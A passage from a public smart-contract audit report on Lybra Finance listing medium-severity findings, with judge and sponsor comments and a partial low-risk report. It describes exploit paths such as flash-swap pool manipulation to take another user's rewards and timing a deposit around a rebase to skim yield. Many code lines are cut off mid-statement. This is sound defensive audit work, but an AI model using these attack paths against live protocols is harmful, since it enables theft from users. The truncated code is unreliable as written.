    function _min(uint256 x, uint256 y) private pure returns (ui
        return x <= y ? x : y;
    }
}
```

The intention here, is to calculate how many tokens should be rewarded by unit of time (second) and record the span of time for the reward cycle. However, this has an edge case where rewards are not counted for the initial period of time until there is at least one participant (in this case, a holder of `BathTokens`). During this initial period of time, the reward rate will still apply but as there isn't any participant, then no one will be able to claim these rewards and these rewards will be lost and stuck in the system.

This is a known vulnerability that has been covered before. The following reports can be used as a reference for the described issue:

- 0xMacro Blog - Synthetix Vulnerability
- Same vulnerability in y2k report

As described by the 0xmacro blogpost, this can play out as the following:

Let’s consider that you have a `StakingRewards` contract with a reward duration of one month seconds (2592000):

Block N Timestamp = X

You call `notifyRewardAmount()` with a reward of one month seconds (2592000) only. The intention is for a period of a month, 1 reward token per second should be distributed to stakers.

- State :

  - `rewardRate` = 1
  - `periodFinish` = X + **2592000**

Block M Timestamp = X + Y

Y time has passed and the first staker stakes some amount:

1. `stake()`
2. `updateReward`
   `rewardPerTokenStored` = 0
   `lastUpdateTime` = X + Y

Hence, for this staker, the clock has started from X+Y, and they will accumulate rewards from this point.

Please note, that the `periodFinish` is X + `rewardsDuration`, not X + Y + `rewardsDuration`. Therefore, the contract will only distribute rewards until X + `rewardsDuration`, losing Y * `rewardRate` => Y * 1 inside of the contract, as `rewardRate` = 1 (if we consider the above example).

Now, if we consider delay (Y) to be 30 minutes, then:

Only 2590200 (2592000-1800) tokens will be distributed and these 1800 tokens will remain unused in the contract until the next cycle of `notifyRewardAmount()`.

Tools Used

Manual Review

Recommended Mitigation Steps

A possible solution to the issue would be to set the start and end time for the current reward cycle when the first participant joins the reward program (i.e. when the total supply is greater than zero) instead of starting the process in the `notifyRewardAmount`.

[Oxean (judge) decreased severity to Medium](#)

[LybraFinance confirmed](#)

[M-13] It is possible to manipulate WETH/LBR pair to claim reward of the users which shouldn't be claimed

Submitted by [SpicyMeatball](#)*, also found by* [Kenshin](#), [Brenzee](#)*, and* [Musaka](#)

Malicious user can manipulate balances of the WETH/LBR pair and bypass this check:

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L203

Which allows them to steal rewards from a user who has staked enough LP and whose rewards shouldn't be claimable under normal circumstances.

`EUSDMiningIncentives.sol` is a staking contract which distributes rewards to users based on how much EUSD they have minted/borrowed. Rewards are accumulated over time and can be claimed only if a user has staked enough WETH/LBR uniswap pair LP tokens into another staking:

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/stakerewardV2pool.sol

This condition is checked here:

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L188

As we can see, `stakedLBRLpValue` of a user is calculated based on how much LP they have staked and the total cost of the tokens that are stored inside the WETH/LBR pair.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L151-L156

The total cost, however, is simply derived from the sum of the tokens balances, which we get with `balanceOf(pair)`.

This can be exploited:

1. Alice minted some EUSD tokens.
2. They also have staked LP tokens in the staking rewards contract.
3. Currently `isOtherEarningsClaimable(alice)` returns false, that means they are safe.
4. Bob wants to take Alice's rewards for themselves.
5. They call a direct swap with WETH/LBR pair and chooses amounts that will lower the total cost of the LP.

   ```
   lbrInLp + etherInLp
   ```

6. Then inside the callback Bob calls `purchaseOtherEarnings` and takes Alice's rewards.
7. After that, Bob repays the loan.

Proof of Concept

Custom test:

▶ Details

Tools Used

Forge. I forked the ETH mainnet at block `17592869`. Also, the following mainnet contracts were used:

- Uniswap V2 router (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
- WETH/LBR uniswap pair (0x061883CD8a060eF5B8d83cDe362C3Fdbd8162EeE),
- WETH token (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),
- LBR token (0xF1182229B71E79E504b1d2bF076C15a277311e05)

Recommended Mitigation Steps

Use `ethlbrLpToken.getReserves()` instead of quoting balances directly with `balanceOf`

```
    (uint112 r0, uint112 r1, ) = ethlbrLpToken.getReserves()
    uint256 etherInLp = (r0 * uint(etherPrice)) / 1e8;
    uint256 lbrInLp = (r1 * uint(lbrPrice)) / 1e8;
```

Assessed type

Uniswap

LybraFinance disputed and commented:

> The real price will be obtained through `Chainlink` oracles instead of the exchange rate in the LP. It will not be manipulated by flash loans.

0xean (judge) decreased severity to Medium and commented:

> @LybraFinance - I think this qualifies as M. Are you suggesting that in the future the price will be pulled from `Chainlink`? If so, the wardens are reviewing the code base as written, not future changes to include a different price discovery mechanism and therefore I think this is valid.

LybraFinance acknowledged

[M-14] No check for Individual mint amount surpassing 10%

when the circulation reaches 10_000_000 in `mint()` of `LybraEUSDVaultBase` contract

Submitted by adeolu

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L124
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L126

Impact

The mint functions in `LybraEUSDVaultBase` have no checks for when the supplied amount to mint is more than 10% if circulation reaches 10,000,000, as specified in the comments explaining the logic of the function.

Proof of Concept

Lets have a look at `mint()` code in the `LybraEUSDVaultBase` contract:

```
    /**
     * @notice The mint amount number of EUSD is minted to the a
     * Emits a `Mint` event.
     *
     * Requirements:
     * - `onBehalfOf` cannot be the zero address.
     * - `amount` Must be higher than 0. Individual mint amount 
         reaches 10_000_000
     */
    function mint(address onBehalfOf, uint256 amount) external {
        require(onBehalfOf != address(0), "MINT_TO_THE_ZERO_ADDR
        require(amount > 0, "ZERO_MINT");
        _mintEUSD(msg.sender, onBehalfOf, amount, getAssetPrice(
    }

    function _mintEUSD(address _provider, address _onBehalfOf, u
        require(poolTotalEUSDCirculation + _mintAmount <= config
        try configurator.refreshMintReward(_provider) {} catch {
```

```
        borrowed[_provider] += _mintAmount;

        EUSD.mint(_onBehalfOf, _mintAmount);
        _saveReport();
        poolTotalEUSDCirculation += _mintAmount;
        _checkHealth(_provider, _assetPrice);
        emit Mint(msg.sender, _onBehalfOf, _mintAmount, block.ti
    }
```

From the code above, we can see there is no check prevent mint amount from being greater than 10% of 10,000,000 or more if the `poolTotalEUSDCirculation` is 10,000,000 or more as specified in the comments.

Tools Used

VS CODE

Recommended Mitigation Steps

Add checks to the `mint()` to revert if mint amount is greater than 10% of the total supply, if total supply is >= 10,000,000.

```
    function mint(address onBehalfOf, uint256 amount) external {
        require(onBehalfOf != address(0), "MINT_TO_THE_ZERO_ADDR
        require(amount > 0, "ZERO_MINT");

        if ( poolTotalEUSDCirculation >= 10_000_000 ) {
         require(amount <= (10 * poolTotalEUSDCirculation) / 100
        }
        _mintEUSD(msg.sender, onBehalfOf, amount, getAssetPrice(
    }
```

Assessed type

Error

[LybraFinance acknowledged]

[Oxean (judge) decreased severity to Medium and commented]:

> @LybraFinance - this appears to be more of a M severity issue as it doesn't directly lead to assets being lost or stolen.

[M-15] Lack of timelock on `rigidRedemption`, enables to steal yield from other users

Submitted by [max10afternoon]()

The withdraw function of the `LybraEUSDVaultBase` vaults, uses a time softlock to prevent users from hopping in and out of the protocol; to gain access to the yield generated by other users and then leave right away (by charging a small percentage from the withdrawn amount).

The same measure isn't applied to `rigidRedemptions`, which enable a user to withdraw most of the underlying assets at any time after deposit. This enables a user to deposit into the pool right before a rebase is about to happen, get access to the yield generated by other users and leave by calling `rigidRedemption` and withdraw on the tokens left by `rigidRedemption` (the amount charged on the leftovers assets, can be outbalanced by the yield).

Therefore, a malicious user to get access to yield that they didn't generate, effectively stealing it from others. The amount that the user will get access to will vary based on the deposited amounts.

Proof of Concept

This issue involves 3 functions:

- `withdraw(address onBehalfOf, uint256 amount)` from the `LybraEUSDVaultBase` [contract](), which internally calls `checkWithdrawal(address user, uint256 amount)` to check that 3 days has passed after deposit and charges the user otherways:

```
withdrawal = block.timestamp - 3 days >= depositedTime[user] ? amount :
```

- `rigidRedemption(address provider, uint256 eusdAmount)` from the `LybraEUSDVaultBase` contract, which enables a user to withdraw the full borrowed amount getting back a 1:1 ratio of collateral (the rest will be left in the vault and can be withdrawn).

```
* @notice Choose a Redemption Provider, Rigid Redeem `eusdAmount` of EU
* Emits a `RigidRedemption` event.
```

- `excessIncomeDistribution(uint256 stETHAmount)` from the `LybraStETHDepositVault` contract, which enables anyone to buy the stETH, generated by lido to the vault (or by charging on withdraws and `rigidRedemptions`), for EUSD, allocating them to EUSD holders through rebasing.

```
* @notice When stETH balance increases through LSD or other reasons, th
* Emits a `LSDValueCaptured` event.
```

Scenario:

- Users use the protocol as intended depositing stETH which will generate a yield.
- Bob calls the rebase mechanism (`excessIncomeDistribution`).
- Alice sees the rebase and preceeds it with a deposit (either by frontruinng or by pure prediction, since stETH rebase happens daily at a fixed time).
- Right after Bob's rebase gets executed, Alice calls `rigidRedemption` (to repay the full debt) followed by a withdraw (to get the difference out), getting most of the stETH back and some EUSD.
- Since the stETH charged by the withdraw function is left in the vault, if they want, Alice can now call `excessIncomeDistribution` to get the tokens back, using the EUSD recived by rebasing, and leaving with slightly more stETH and some EUSD, that they got for free; leaving 0 debts and 0 assets deposited, having left their tokens in the vault for a few seconds.

Here is an hardhat script that shows the scenario above in javascript (each step is highlighted in the comments and it will print all the balances to the console). Before running it you'll have to install the `'@openzeppelin/test-helpers'` package:

▶ Details

Recommended Mitigation Steps

The same timelock logic that is applied to the withdraw function could be applied to `rigidRedemption`, making this type of interaction unprofitable.

Assessed type

Timing

[LybraFinance disputed and commented](#):

> There is a 0.5% fee for redemptions, which offsets the potential gains from such operations.

[0xean (judge) commented](#):

> @LybraFinance - can you comment on why you believe the test is not showing that fee outweighing the benefit?

[LybraFinance confirmed and commented](#):

> Because in step three, there are additional fees involved when the user performs a withdraw, so it's not possible to completely avoid losses. This situation does exist, but we consider it a moderate-risk issue.

[0xean (judge) decreased severity to Medium](#)

[M-16] Due to inappropriately short `votingPeriod` and `votingDelay`, it is nearly impossible for the governance to function correctly.

Submitted by Musaka, *also found by* josephdara, devival, devival, 0xhacksmithh, cccz, ktg, CrypticShepherd, squeaky_cactus, 0xnev, bytes032, LuchoLeonel1, *and* T1MOH

Proof of Concept

When making proposals with the `Governor` contract OZ uses `votingPeriod`.

```
        uint256 snapshot = currentTimepoint + votingDelay();
        uint256 duration = votingPeriod();

        _proposals[proposalId] = ProposalCore({
            proposer: proposer,
            voteStart: SafeCast.toUint48(snapshot),//@audit voti
            voteDuration: SafeCast.toUint32(duration),//@audit v
            executed: false,
            canceled: false
        });
```

But currently, Lybra has implemented the wrong amounts for bolt `votingPeriod` and `votingDelay`, which means proposals from the governance will be nearly impossible to be voted on.

```
    function votingPeriod() public pure override returns (uint25
         return 3;//@audit this should be time in blocks
    }

     function votingDelay() public pure override returns (uint25
         return 1;//@audit this should be time in blocks
    }
```

HH PoC

https://gist.github.com/0x3b33/dfd5a29d5fa50a00a149080280569d12

Tools Used

Manual Review

Recommended Mitigation Steps

You can implement it as OZ suggests in their examples

```
    function votingDelay() public pure override returns (uint256
        return 7200; // 1 day
    }
```

```
        function votingPeriod() public pure override returns (uint25
            return 50400; // 1 week
        }
```

Assessed type

Governance

LybraFinance acknowledged

Oxean (judge) decreased severity to Medium

[M-17] If `ProtocolRewardsPool` is insufficient in EUSD, users will not be able to claim any rewards

Submitted by Musaka*, also found by* Jorgect, HE1M, pep7siup, Brenzee, kutugu*, and* Bughunter101

If `ProtocolRewardsPool` is insufficient in EUSD, but has enough PeUSD to give rewards, it still reverts due to wrong `if()` statement, thus it is unable to send the rewards to users.

Proof of Concept

Users have just emptied `ProtocolRewardsPool` out of EUSD, by claiming rewards with `getReward`. Now the protocol has a new distribution of PeUSD tokens, with `LybraConfigurator.distributeRewards`, but when users try to claim their rewards, `getReward` reverts because of this:

```
        function getReward() external updateReward(msg.sender) {
            uint reward = rewards[msg.sender];
            if (reward > 0) {
                rewards[msg.sender] = 0;
                IEUSD EUSD = IEUSD(configurator.getEUSDAddress());//
                uint256 balance = EUSD.sharesOf(address(this));//get
    //@aduit here eUSDShare = balance >= reward-false => reward - ba
                uint256 eUSDShare = balance >= reward ? reward : rew
    //here it tries to send the rewards amount, but it reverts since
```

```
EUSD.transferShares(msg.sender, eUSDShare);
```

Because of the constant revert, users are not able to claim their rewards and need to wait for EUSD distribution. The other bad thing is that the PeUSD is un-calimable to most extent. Again, because of the line bellow, if:

- Protocol has 40e18 EUSD and 100e18 PeUSD.
- UserA tries to claim their rewards, that are 100e18 in rewards tokens.

```
//eUSDShare = balance >= reward-false => reward - balance => 100
uint256 eUSDShare = balance >= reward ? reward : reward - balanc
//again reverts, because contract has 40, whily trying to send 6
EUSD.transferShares(msg.sender, eUSDShare);
```

Now PeUSD is un-claimable and remains in the contract.

Foundry PoC

```
    function test_no_EUSD() public {
        //make 2 random users
        deal(address(lbr), user1, 1000e18);
        deal(address(lbr), user2, 4000e18);

        //stake for bolt of them
        vm.prank(user1);
        rewardsPool.stake(1000e18);

        vm.prank(user2);
        rewardsPool.stake(4000e18);

        //get some PeUSD in the config and call distributeReward
        //@notice here we don't send any EUSD => rewardsPool has
        deal(address(PeUSD),address(configurator),1e21);
        configurator.distributeRewards();

        //to make sure the balance is sent
        PeUSD.balanceOf(address(rewardsPool));

        //user rewards is actually 2e17 per 1e18 => 2e20 total f
        vm.prank(user1);
```

```
            //but here reverts, because it is unable to send any EUS
            rewardsPool.getReward();
            console.log(rewardsPool.earned(user1));
            console.log("pEUSD user1: ", PeUSD.balanceOf(user1));
            console.log("pEUSD pool : ", PeUSD.balanceOf(address(rew
            console.log();
        }
```

Tools Used

Manual Review

Recommended Mitigation Steps

Update the `if` as:

```
-   uint256 eUSDShare = balance >= reward ? reward : reward - bal
+   uint256 eUSDShare = balance >= reward ? reward : balance;
```

Assessed type

Math

[Oxean (judge) decreased severity to Medium]

[LybraFinance acknowledged]

[M-18] Volatile prices and lack of checks on `rigidRedemption()` can cause users to purchase stETH at unwanted prices

Submitted by [Musaka]

Impact

Volatile prices can cause issue when users try to do `rigidRedemption`.

Proof of Concept

Volatile prices can cause slippage loss when users use `rigidRedemption()` . This function takes PeUSD (stable coin) amount and converts it to WstETH/stETH (variable price). Unfortunately, `rigidRedemption()` does not include `timestamp` or `minAmount` received, meaning this trade can be executed later in time and at a different price than user previously expected.

Example:

- Provider has 100 **wstETH** and **wstETH** price is `$` 2000.
- User wants to buy 10 **wstETH** and has 20,000 in PeUSD, so they calls `rigidRedemption` .
- Now, due to congestion on **ETH** and volatile prices, the transaction could remain stuck in the mempool for a long time.
- Finally, the transaction gets executed, but now the wstETH price is `$` 2100, not the original `$` 2000, so the user receives 9.52 **wstETH** instead of 10 (not counting fees)!

Recommended Mitigation Steps

Because of this scenario and others like it, it is recommended to use some sort of slippage protection when users execute trades.

```
    function rigidRedemption(address provider, uint256 eusdAmoun
        depositedAsset[provider] -= collateralAmount;
        totalDepositedAsset -= collateralAmount;
+       require(minAmountReceived <= collateralAmount);
        collateralAsset.transfer(msg.sender, collateralAmount);
        emit RigidRedemption(msg.sender, provider, eusdAmount, c
    }
```

Assessed type

MEV

[LybraFinance disagreed with severity and confirmed]()

[M-19] `CLOCK_MODE()` will not work properly for Arbitrum or Optimism due to `block.number`

Submitted by [IceBear](), also found by [btk]()

Proof of Concept

According to [Arbitrum Docs](), `block.number` returns the most recently synced L1 block number. Once per minute, the block number in the `Sequencer` is synced to the actual L1 block number. Using `block.number` as a clock can lead to inaccurate timing.

It also presents an issue for [Optimism]() because each transaction is it's own block.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/governance/LybraGovernance.sol#L152

Recommended Mitigation Steps

Use `block.timestamp` rather than `block.number`

Assessed type

Timing

[LybraFinance commented]():

> The governance contract only exists on the Ethereum mainnet.

[LybraFinance acknowledged]()

[M-20] Fixed reward percentage for liquidators in the eUSD vault may cause a liquidation crisis

Submitted by [0xRobocop]()

To not lose generality, the same issue is present in the `LybraPEUSDVaultBase` contract.

Liquidations are essential for a lending protocol to maintain the over-collateralization of the protocol. Hence, when a liquidation happens, it should increment the collateral ratio of the liquidated position (make it healthier).

The `LybraEUSDVaultBase` contract has a function named `liquidation`, which is used to liquidate users whose collateral ratio is below the bad collateral ratio, which for the eUSD Vault is 150%. This function incentives liquidators with a fixed reward of 10% of the collateral being liquidated. However, the issue with the fixed compensation is that it will cause a position to get unhealthier during a liquidation when the collateral ratio is 110% or smaller.

Proof of Concept

Take the following example:

- USD / ETH price = 1500
- Collateral amount = 2 ether
- Debt = 2779 eUSD

The data above will give us a collateral ratio for the position of: 107.9%. The liquidator liquidates the max amount possible, which is 50% of the collateral, one ether, and takes 10% extra for its services; the final collateral ratio will be:

```
((2 - 1.1) * 1500) / (2779 - 1500) = 1.055
```

The position got unhealthier after the liquidation, from a collateral ratio of 107.9% to 105%. The process can be repeated until it is no longer profitable for the liquidator leading the protocol to accumulate bad debt.

Justification

I landed medium on this finding for the following reasons:

- It has the requirement that the position must have a collateral ratio lower than 110%, which means that it was not liquidated before it reached that point.
- Even though the above point is required for this to become an issue, the position in the example was still over-collateralized (~108%). It should not be possible to liquidate an over-collateralized position and have the consequence of making it unhealthier.

Tools Used

Manual Review

Recommended Mitigation Steps

When a position has a collateral ratio below 110%, the reward percentage should be adjusted accordingly instead of a fixed reward of 10%.

Assessed type

Math

[LybraFinance disagreed with severity and commented](#):

> Liquidation due to a collateral ratio below 110% results in a further decrease in the collateral ratio. When the collateral ratio falls below 100%, the liquidation outcome remains the same. In practice, liquidation occurs when the collateral ratio reaches 150%, making it unlikely to have an excessively low collateral ratio.

[0xean (judge) decreased severity to Low](#)

[0xRobocop (warden) commented](#):

> I think this issue was misjudged:

> The issue describes how an over-collateralized position between 101% and 109% (inclusive) gets unhealthier with each liquidation. From my knowledge, there is no CDP protocol that allows this behavior since instead of helping the protocol increment the total collateral ratio, it accelerates to go to lower levels.

> I think this is a clear medium issue because it has the requirement of a position to reach a CR of 109% which may not happen, but still it cannot be guaranteed that it will never happen and the protocol should handle these cases.

> Medium issue definition:

> Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

- Stated assumption by the protocol: A position will never reach 109%.
- External requirement: A position reaching 109% which cannot be guaranteed that will never happen.
- Impact: Liquidations in a CDP protocol should make the protocol healthier when the positions are still over-collateralized, which in the case of this protocol it does not happen in certain conditions.

0xean (judge) increased severity to Medium and commented:

> Thanks @0xRobocop for making your case, I think its on the cusp between being a design decision (which I agree is a sub optimal design choice) and a M severity issue.

> Liquidation's cascading into to more liquidations is never a good outcome and I think you are correct that this does lead to that. Lets get some sponsor comment and for the moment, I will upgrade to M.

LybraFinance confirmed and commented:

> Although we have been using this design since V1, we have to admit, liquidation's cascading into to more liquidations is never a good outcome. Therefore, we have decided to modify this logic. Thank you for your valuable suggestions!

[M-21] Liquidation won't work when bad and safe collateral ratio are set to default values

Submitted by T1MOH, also found by devival, KupiaSec, kenta, RedTiger, and y51r

`getBadCollateralRatio()` will revert because of underflow, if `vaultBadCollateralRatio[pool]` and `vaultSafeCollateralRatio[pool]` are set to 0 (i.e. using default ratios 150% and 130% accordingly). It blocks liquidation flow.

Proof of Concept

1e19 is decremented from value `vaultSafeCollateralRatio[pool]`:

```
    function getBadCollateralRatio(address pool) external view re
        if(vaultBadCollateralRatio[pool] == 0) return vaultSafeC
```

```
        return vaultBadCollateralRatio[pool];
    }
```

However, `vaultSafeCollateralRatio[pool]` can be set to 0, which should mean 160%:

```
    function getSafeCollateralRatio(
        address pool
    ) external view returns (uint256) {
        if (vaultSafeCollateralRatio[pool] == 0) return 160 * 1e
        return vaultSafeCollateralRatio[pool];
    }
```

As a result, incorrect accounting block liquidation when using default values.

Also, I think this is similar issue, but different impact; therefore, described in this issue. `BadCollateralRatio` can't be set when `SafeCollateralRatio` is default, as `newRatio` must be less than 10%:

https://github.com/code-423n4/2023-06-lybra/blob/5d70170f2c68dbd3f7b8c0c8fd6b0b2218784ea6/contracts/lybra/configuration/LybraConfigurator.sol#L127

```
    function setBadCollateralRatio(address pool, uint256 newRati
        require(newRatio >= 130 * 1e18 && newRatio <= 150 * 1e18
        ...
    }
```

Tools Used

Manual Review

Recommended Mitigation Steps

Instead of internal accessing variables, use functions `getSafeCollateralRatio()` and `getBadCollateralRatio()` in all the occurences because variables can be zero.

Assessed type

Invalid Validation

[0xean (judge) decreased severity to Medium]

[LybraFinance confirmed]

[M-22] Incorrect function call in `LybraRETHVault`'s `getAssetPrice`

Submitted by bytes032*, also found by* MrPotatoMagic, Arz, HE1M, devival, 0xMAKEOUTHILL, Toshii, qpzm, qpzm, a3yip6, Iurii3, LokiThe5th, Cryptor, LaScaloneta, Qeew, Qeew, bart1e, azhar, pep7siup, pep7siup, 0xnacho, 0xnacho, Co0nan, Co0nan, Musaka, hl_, 0xgrbr, 0xkazim, SovaSlava, RedTiger, RedTiger, CrypticShepherd, CrypticShepherd, LuchoLeonel1, Vagner, kutugu, peanuts, smaul, *and* jnrlouis

The incorrect function call in the code results in the inability to calculate the asset price properly. This will halt all operations associated with the asset pricing, disrupting the functioning of the entire system.

Proof of Concept

`LybraRETHVault`'s `getAssetPrice` method currently makes a call to a non-existent function in the rETH contract, `getExchangeRatio()`. The issue appears to be a misunderstanding or miscommunication, as the rETH contract does not provide a `getExchangeRatio()` function. This leads to a failure in the asset price calculation.

```
    function getAssetPrice() public override returns (uint256) {
        return (_etherPrice() * IRETH(address(collateralAsset)).(
    }
```

The correct function to call is `getExchangeRate()`, which exists in the rETH contract and provides the exchange rate necessary to determine the asset price.

https://etherscan.deth.net/address/0xae78736Cd615f374D3085123A210448E74Fc6393

```
    // Get the current ETH : rETH exchange rate
    // Returns the amount of ETH backing 1 rETH
    function getExchangeRate() override external view returns (uint256) {
        return getEthValue(1 ether);
    }
```

https://etherscan.deth.net/address/0xae78736Cd615f374D3085123A210448E74Fc6393

```
pragma solidity 0.7.6;

// SPDX-License-Identifier: GPL-3.0-only

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface RocketTokenRETHInterface is IERC20 {
    function getEthValue(uint256 _rethAmount) external view returns (uint256);
    function getRethValue(uint256 _ethAmount) external view returns (uint256);
    function getExchangeRate() external view returns (uint256);
    function getTotalCollateral() external view returns (uint256);
    function getCollateralRate() external view returns (uint256);
    function depositExcess() external payable;
    function depositExcessCollateral() external;
    function mint(uint256 _ethAmount, address _to) external;
    function burn(uint256 _rethAmount) external;
}
```

Tools Used

Manual review

Recommended Mitigation Steps

To resolve this issue, it is recommended to replace the non-existent function call `getExchangeRatio()` with the correct function `getExchangeRate()`. This correction will ensure that the `getAssetPrice()` method retrieves the correct exchange rate from the rETH contract, allowing the system to calculate the asset price accurately.

```
    function getAssetPrice() public override returns (uint256) {
        return (_etherPrice() * IRETH(address(collateralAsset)).
    }
```

[LybraFinance confirmed](#)

[M-23] The relation between the safe collateral ratio and the bad collateral ratio for the PeUSD vaults is not enforced correctly

Submitted by [0xRobocop], *also found by* [josephdara], [Kenshin], [gs8nrv], [caventa], [smaul], [RedTiger], *and* [RedTiger]

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/26915a826c90eeb829863ec3851c3c785800594b/contracts/lybra/configuration/LybraConfigurator.sol#L127
https://github.com/code-423n4/2023-06-lybra/blob/26915a826c90eeb829863ec3851c3c785800594b/contracts/lybra/configuration/LybraConfigurator.sol#L202

Impact

The documentation states that:

- "The PeUSD vault requires a safe collateral rate at least 10% higher than the liquidation collateral rate, providing an additional buffer to protect against liquidation risks."

Hence, it is important to maintain the invariance between the relation of the safe collateral ratio (SCR) and the bad collateral ratio (BCR). Both functions `setSafeCollateralRatio` and `setBadCollateralRatio` at the `LybraConfigurator` contract run checks to ensure that the relation always holds.

The former is coded as:

```
function setSafeCollateralRatio(address pool, uint256 newRatio) 
    if(IVault(pool).vaultType() == 0) {
        require(newRatio >= 160 * 1e18, "eUSD vault safe collatera
    } else {
        // @audit-ok SCR is always at least 10% greater than BCR.
        require(newRatio >= vaultBadCollateralRatio[pool] + 1e19,
      }

    vaultSafeCollateralRatio[pool] = newRatio;
```

```
    emit SafeCollateralRatioChanged(pool, newRatio);
}
```

The latter is coded as:

```
function setBadCollateralRatio(address pool, uint256 newRatio) e:
  // @audit-issue BCR and SCR relationship is not enforced corre
  require(newRatio >= 130 * 1e18 && newRatio <= 150 * 1e18 && ne

  vaultBadCollateralRatio[pool] = newRatio;

  emit SafeCollateralRatioChanged(pool, newRatio);
}
```

We take only the logic clause related to the relationship between the BCR and SCR:

```
require(newRatio <= vaultSafeCollateralRatio[pool] + 1e19);
```

We can see that the relationship is not coded correctly, we want the SCR always to be at least 10% higher than the BCR, so the correct check should be:

```
require(newRatio <= vaultSafeCollateralRatio[pool] - 1e19);
```

Proof of Concept

There is a path of actions that can lead to an SCR and a BCR that do not meet the requirement stated previously. For example:

1. SCR is set to 150%
2. BCR is also set to 150% (Incorrect requirement pass: 150% <= 150% + 10%)

Tools Used

Manual Review

Recommended Mitigation Steps

Change:

```
require(newRatio >= 130 * 1e18 && newRatio <= 150 * 1e18 && newR
```

to:

```
require(newRatio >= 130 * 1e18 && newRatio <= 150 * 1e18 && newR
```

Assessed type

Invalid Validation

LybraFinance confirmed

Low Risk and Non-Critical Issues

For this audit, 42 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **0xnev** received the top score from the judge.

The following wardens also submitted reports: halden, D_Auditor, bart1e, RedOneN, MrPotatoMagic, solsaver, squeaky_cactus, hals, 0xnacho, 0xRobocop, kutugu, bytes032, RedTiger, Sathish9098, HE1M, Rolezn, naman1778, devival, seth_lawson, SanketKogekar, nonseodion, m_Rassska, Toshii, 0xkazim, 3agle, codetilda, Iurii3, CrypticShepherd, 0xbrett8571, yudan, ABAIKUNANBAEV, DelerRH, Kaysoft, CoOnan, Bauchibred, Timenov, y51r, Vagner, 8olidity, zaevlad, *and* totomanov.

Low Risk Summary

Count	Title
[L-01]	`liquidation()` : Liquidation allowance check insufficient in `liquidatio()`
[L-02]	`LybraGovernance` : Vote casters cannot change or remove vote

Count	Title
[L-03]	`LybraEUSDVaultBase.superLiquidation()` : Confusing code comments deviates from function logic

Total Low Risk Issues	3	

Non-Critical Summary

Count	Title
[N-01]	`rigidRedemption()` : Disallow rigid redemption of 0 value
[N-02]	Add reentrancy guard to Lybra's version of synthethix contract
[N-03]	`LybraStETHVault.excessIncomeDistribution()` : Use `_saveReport()` directly
[N-04]	`LybraStETHVault.excessIncomeDistribution()` : Cache result of `getDutchAuctionDiscountPrice()`
[N-05]	`liquidation()/superLiquidation` : Add 0 value check to prevent division by 0 in `liquidation`
[N-06]	Superfluous events

Total Non-Critical Issues	6	

Low Risk

[L-01] `liquidation()` : Liquidation allowance check insufficient in `liquidatio()`

Impact

```
require(EUSD.allowance(provider, address(this)) > 0, "provider s
```

Liquidation allowance check in `liquidation()` is insufficient since it only checks that allowance provided to vault contract is more than 0.

Provider should authorize to provide at least `eusdAmount` to repay on behalf of borrower that is under-collateralized in `liquidation()`, similar to `superLiquidation()`. If not, the transaction will still revert.

Recommendation

Consider approving token allowance similar to `superLiquidation()`

```
    require(EUSD.allowance(provider, address(this)) >= eusdAmount, "]
```

[L-02] `LybraGovernance`: Vote casters cannot change or remove vote

Impact

```
    function _countVote(uint256 proposalId, address account, uint8 s

        require(state(proposalId) == ProposalState.Active, "GovernorI
        require(support <= 2, "GovernorBravo::castVoteInternal: inva
        ProposalExtraData storage proposalExtraData = proposalData[p
        Receipt storage receipt = proposalExtraData.receipts[account
        require(receipt.hasVoted == false, "GovernorBravo::castVoteI

        proposalExtraData.supportVotes[support] += weight;


        receipt.hasVoted = true;
        receipt.support = support;
        receipt.votes = weight;
        proposalExtraData.totalVotes += weight;

    }
```

In `_countVote()` total votes are added and never decremented, indicationg there is no mechanism/function for users to remove vote casted.

Recommendation

Consider allowing removal of votes if `proposalState` is still active.

[L-03] `LybraEUSDVaultBase.superLiquidation()` : Confusing code comments deviates from function logic

Impact

```
    /**
        * @notice When overallCollateralRatio is below badCollateral
        * Emits a `LiquidationRecord` event.
        *
        * Requirements:
        * - Current overallCollateralRatio should be below badCollate
        * - `onBehalfOf`collateralRatio should be below 125%
        * @dev After Liquidation, borrower's debt is reduced by colla
        */
    function superLiquidation(address provider, address onBehalfOf, 
        uint256 assetPrice = getAssetPrice();
        require((totalDepositedAsset * assetPrice * 100) / poolTotal
        uint256 onBehalfOfCollateralRatio = (depositedAsset[onBehalfO
        require(onBehalfOfCollateralRatio < 125 * 1e18, "borrowers c
        require(assetAmount <= depositedAsset[onBehalfOf], "total of
        uint256 eusdAmount = (assetAmount * assetPrice) / 1e18;
        if (onBehalfOfCollateralRatio >= 1e20) {
            eusdAmount = (eusdAmount * 1e20) / onBehalfOfCollateralR
        }
        require(EUSD.allowance(provider, address(this)) >= eusdAmoun

        _repay(provider, onBehalfOf, eusdAmount);

        totalDepositedAsset -= assetAmount;
        depositedAsset[onBehalfOf] -= assetAmount;
        uint256 reward2keeper;
        if (msg.sender != provider && onBehalfOfCollateralRatio >= 1
            reward2keeper = ((assetAmount * configurator.vaultKeeper
            collateralAsset.transfer(msg.sender, reward2keeper);
        }
        collateralAsset.transfer(provider, assetAmount - reward2keep

        emit LiquidationRecord(provider, msg.sender, onBehalfOf, eus
```

```
    }
```

In code comments of `superLiquidation()`, it is mentioned that deposit of borrower (collateral) will be reduced by collateral amount * borrower's collateral ratio. This is inaccurate, as the goal of `superLiquidation()` is to allow possible complete liquidation of borrower's collateral; hence, `totalDepositAsset` is simply subtracted by `assetAmount`.

Recommendation

